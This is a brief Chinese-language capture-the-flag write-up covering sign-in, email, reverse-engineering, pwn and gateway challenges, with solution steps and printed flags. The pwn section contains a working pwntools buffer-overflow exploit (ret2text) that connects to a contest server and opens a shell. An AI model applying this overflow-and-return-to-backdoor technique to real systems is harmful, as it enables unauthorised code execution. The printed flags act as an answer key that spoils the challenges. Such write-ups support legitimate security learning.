比赛官网
部分writeup
Signin
如图所示GIF提取,然后简单的ROT13
flag{welcome-to-signin-quiz}
邮件
----如图所示简单的base64
邮件flag{WeLCoMeto}
邮箱flag{phishHUntInG}
Babyre
解析:放到IDA分析,看伪代码
得到AncsA6gXMSMoMqIuNCMuxaYuAGIavC9=关键字符转
分析得到是类似base64的加密但又不完全是
写python代码对关键字符串处理,
def reverse_alnum(input_str):
result = []
for char in input_str:
if char.isalpha():
# 大写字母A-Z替换为Z-A
if char.isupper():
result.append(chr(90 - (ord(char) - 65)))
# 小写字母a-z替换为z-a
else:
result.append(chr(122 - (ord(char) - 97)))
elif char.isdigit():
# 数字1-9替换为9-1
if char != '0':
result.append(str(9 - int(char) + 1))
else:
result.append('0') # 0保持不变
else:
# 非字母数字字符保持不变
result.append(char)
return ''.join(result)
# 示例
input_str = input("请输入一个包含英文字符和数字的字符串:")
output_str = reverse_alnum(input_str)
print("替换后的字符串为:", output_str)
最后base64解密
答案flag{B4se64_1s_s0_e4sy}
Pwn
解释:看代码呀
构造输入的内容溢出然后ret到后门函数(简单的ret2text)
答案:flag{kOoD1EijiemeePh8IeNei2XOL8ich5de}
from pwn import *
#context(os='linux',arch='amd64',log_level='debug')
#p=process('./pwn')
elf=ELF('./pwn')
libc = ELF('libc.so.6')
p=remote("prob07.contest.pku.edu.cn",10007)
#gdb.attach(p, 'b *0x40121d')
bin_sh_address_chuancan=0x40117a
ret = 0x40121e
offset=0x78
payload1=b'31:MEQCIHOFrdjB9js6X862TKy0BVBCbHCJyY9DFzfczTllh8GuAiA7m5orfJ0SRZt6xI_ZEE__jRp8V9V8YIP13k61RG9quw=='
p.sendline(payload1)
payload2=b'a'*offset + p64(bin_sh_address_chuancan)
p.sendlineafter(b'Enter your username: ',payload2)
p.sendline(payload2)
#pause()
p.interactive()
Gateway解析:
找到这个文件 ,十进制的ASCII的转换
答案:flag{ad1985868133e8cf1828cb84adbe5a5b}
题目资源
有时间我再自己完全的做一遍,未完待续~